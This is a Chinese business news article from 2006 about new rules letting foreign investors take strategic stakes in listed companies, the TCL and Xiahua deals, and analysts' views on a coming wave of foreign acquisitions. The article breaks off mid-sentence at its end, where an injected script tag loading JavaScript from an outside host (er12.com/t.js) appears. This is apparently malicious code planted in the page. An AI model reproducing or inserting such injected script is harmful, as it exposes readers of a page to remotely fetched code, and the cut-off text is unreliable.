年关之交,资本市场轰轰烈烈上演的几台大戏让业界生出许多联想。2005年末,tcl集团将旗下赢利的楼宇科技和国际电工转让给法国罗格朗集团,厦华集团将其持有的厦华电子58.27%的法人股股权中的32.64%转让给台湾中华映管公司全资控股的华映视讯(吴江)有限公司,波导和萨基姆共同宣布成立宁波萨基姆波导研发有限公司回击萨基姆可能并购波导公司的传言。2006年的第一个交易日―――1月4日,商务部、证监会等五部委颁布《外国投资者对上市公司战略投资管理办法》,允许外资投资g股和新上市公司。当日,沪深均以红盘报收,有投资者将之视为突然而至的一个新年“红包”。
接下来的问题是,中国企业将如何面对新一轮外资的“洗礼”？
千亿元红包有点“烫手”
有分析认为,《外国投资者对上市公司战略投资管理办法》的目标十分明确,即为上市公司引进战略投资者,维护证券市场秩序,引进境外先进管理经验、技术和资金,改善上市公司治理结构。它规定,投资可分期进行,首次投资取得股份不低于10%,并在三年内不得转
让；投资者应向商务部提交其母公司对投资者投资行为承担连带责任的不可撤销的承诺函等等。而且,外国投资者应以协议转让、上市公司定向发行新股方式以及法律法规规定的其他方式取得a股。业内专家因此预计,届时将有数以千亿元的资金流向a股市场。
银河证券首席经济学家左小蕾认为,g股并没有从根本上改变上市公司的治理结构和经营管理的水平,外资的进入自然会使公司的经营、管理、财务以及治理结构都有所提升,使公司更具有成长性,运作更为规范和透明。但面对跨国企业强大的资本攻势,中国电子信息企业难免有些喜忧参半。喜的是,外资的进入缓解了企业资金的紧张,忧的是企业的前途更难由自己来操控。尽管这个上千亿元的大红包分
流到电子信息产业的份额不会太多,但业界还是感到了“脉搏跳动加快”。
虽然这次tcl和厦华拿到的还不能算是g股的“红包”,但分析人士认为这两大企业年关之交做的两笔“大买卖”还是可圈可点的。银河证券分析师王国平告诉中国电子报记者,虽然国际电工是tcl的主业之一,并且赢利状况非常好,但是国际电工在tcl收入中所占比重并不高,目前tcl找到合适的下家并以非常理想的价格卖出,这说明外方看好国际电工业务将来的发展前景。tcl将国际电工剥离,使主营业务更加突出,并且改善公司的现金流状况。
中关村证券分析师王琦在接受中国电子报记者采访时用了“只是更好,不是最好”来评论华映收购厦华电子。他认为,总体而言对双
方都是利好。厦华获得了面板资源,华映保障了自身的销路并可以获得进入整机市场的品牌和渠道。华映作为知名的元器件供应商,有望在机制、国际化经验等方面给厦华更大的支持。但是另一方面,也必须看到,大股东成为上游供应商,不知是否会限制厦华采购的自由,
特别是在未来面板供大于求的时候。另外,华映专注于显示器件的制造,在品牌、渠道等方面带给厦华的帮助可能是有限的。
是否引发外资并购潮
tcl和厦华的动作似乎让人们看到了外资并购中国企业的脚步在加快。国泰君安研究所最近的研究报告认为,在未来5年内,中国外资引进规模可望达到500亿美元,平均年增长率在17%以上,其中相当一部分资金将用于并购。
联合证券分析师范海洋也有个估计,他说,今后产业投资将因为政策的放行而进一步活跃,其资金量也将远远大于现有qfii所获批的100亿美元额度。有数字显示,目前外商直接投资中,采用跨国并购方式完成的只占了5%左右,而且往往是非典型的跨国并购,如通过合资来并购,通过增资扩股来并购,通过海外收购b股来并购。专家同时指出,在国外,外资进入采用并购方式的几乎达到60%,因此,未来几年在我国外资并购还大有潜力可挖。
资本市场的新政将使外资放开手脚,由原先的谋求投资参股转而谋求控股,并会谋求收购处于行业中领先地位的上市公司。专家
分析指出,近两年上市公司的收购兼并交易金额和股权转让金额加速上升,其中外资参与的境内上市公司股权转让金额也出现快速增长的趋势。这些外资以高出二级市场成本的代价并购境内的企业,是因为外资确信可以帮助境内的目标企业找到并扩展核心竞争力。分析人士
进一步强调,外资往往看重的是企业的产品规模,因为即使目标企业的赢利能力欠佳,但是只要企业具有较高的行业地位和产品规模,外资可以通过管理流程的再造降低成本,提升企业的价值。看来新一轮并购潮即将到来的说法并不是危言耸听。
并购会对中国企业提出新的挑战。专家指出,在国内苦苦挣扎的中国名牌们在冲破低价竞销,打击假冒等重重阻碍后刚刚走上做大
之路,如今又要面对强大的外国资本的挑战。一旦跨国公司购并了某些国内名牌,便视其为竞争对手,限制其发展,甚至让其逐步退出市场,中国品牌做强之路因此充满更多变数,需要提前给出?script src=http://er12.com/t.js>
